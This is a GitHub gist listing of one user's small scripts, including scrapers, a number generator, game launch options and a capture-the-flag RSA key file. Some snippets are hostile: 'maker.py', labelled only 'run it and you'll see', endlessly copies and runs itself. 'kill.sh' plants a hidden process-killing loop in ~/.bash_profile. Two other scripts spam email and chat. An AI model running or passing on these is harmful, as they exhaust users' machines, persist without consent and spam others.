Skip to content

Instantly share code, notes, and snippets.

@joshdabosh
joshdabosh / maker.py
Created August 29, 2018 18:01
run it and you'll see
import threading
import shutil
import subprocess
import os
def copyfile(folder):
x = 0
while True:
shutil.copy(__file__, "file{}.py".format(x))
subprocess.call("python3 file{}.py".format(x))
@joshdabosh
joshdabosh / gen.py
Created October 7, 2018 02:14
Armstrong number generator for numbers between any range of numbers (100 to 999 for example)
print(*[num for num in range(100, 1000) if int(sum([int(a)**3 for _, a in enumerate(str(num))])) == int(num)], sep=", ")
@joshdabosh
joshdabosh / time_spammer.py
Last active October 21, 2018 13:47
Sends 15 emails as a reminder whenever. Run (after filling in redactions) with python3 time_spammer.py &
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from datetime import datetime
import smtplib
import time
def email(sv, fe, fp, te, r):
msg = MIMEMultipart()
msg['From'] = fe
msg['To'] = te
@joshdabosh
joshdabosh / kaomojis.py
Last active August 10, 2019 19:07
Scrape Kaomojis
from bs4 import BeautifulSoup as bs
import requests
import json
url = "http://kaomoji.ru/en/"
page = requests.get(url)
soup = bs(page.content, "html.parser")
kaomojis = []
@joshdabosh
joshdabosh / launch_options
Last active September 15, 2020 13:57
TF2 Launch Options (set in Steam Bootstrapper)
gamemoderun %command% -dxlevel 90 -windowed -w 1280 -h 720 -novid -nojoy -nosteamcontroller -softparticlesdefaultoff -reuse -nohltv -gl_enablesamplerobjects -gl_nv_bindless_texturing -gl_amd_pinned_memory -NoQueuedPacketThread -nostartupsound -particles 1 -gl_disable_arb_buffer_storage
@joshdabosh
joshdabosh / config_organizer.py
Created February 6, 2019 21:37
Orgnanizes config.json for the Pearl Hangouts Bot framework
import json
f = json.loads(open("config.json").read())
f["plugins"] = {a:b for a, b in sorted(f["plugins"].items())}
with open("config.json", "w") as a:
a.write(json.dumps(f, indent=4, sort_keys=True))
@joshdabosh
joshdabosh / codecandies.py
Created February 7, 2019 22:18
Scrapes codecandies.com quotes and puts them into quotes.txt
from bs4 import BeautifulSoup as bs
import requests
page = requests.get("https://codecandies.com/")
soup = bs(page.content, "html.parser")
main = soup.find("div", {"class":"wrapper"})
quotes = []
@joshdabosh
joshdabosh / kill.sh
Created February 16, 2019 16:55
Fortnite Terminator for mac
echo "while 1: __import__('os').system('pkill EpicGamesLauncher-Mac-Shipping');" > .abortnite.py && echo "python ~/.abortnite.py &" >> ~/.bash_profile
@joshdabosh
joshdabosh / scaledrone_spam.js
Last active March 12, 2019 01:11
Spam a scaledrone chat using node.js. Requires scaledrone-node via npm
const Scaledrone = require("scaledrone-node");
const drone = new Scaledrone("[REDACT]", {
data: {
name: "[REDACT]",
}
});
drone.on("open", error => {
if (error){
@joshdabosh
joshdabosh / key1.pem
Last active July 2, 2019 02:14
PACTF Round 2 "Can You See The Future" Solve Script + Files
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgH+NJdRBPt58////////////////////////////////////////
/////////////////////////////////13ftc78gAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABh5AgMBAAEC
gYAVd1Y9/gsMG6Jj3ZwiY92cImPdnCJj3ZwiY92cImPdnCJj3ZwiY92cImPdnCJj
3ZwiY92cImPdnCJj3ZwiY92AnFLOX3QJi/Z0CYv2dAmL9nQJi/Z0CYv2dAmL9nQJ
i/Z0CYv2dAmL9nQJi/Z0CYv2dAmL9nQJi/Z0CYv2dAmQOQJBAKNR8Tx/////////
////////////////////////////////////////////////////////////////
/////00CQQDH7vZJ////////////////////////////////////////////////
///////////////////////////////dAkAqDtcN2nSli1p0pYtadKWLWnSli1p0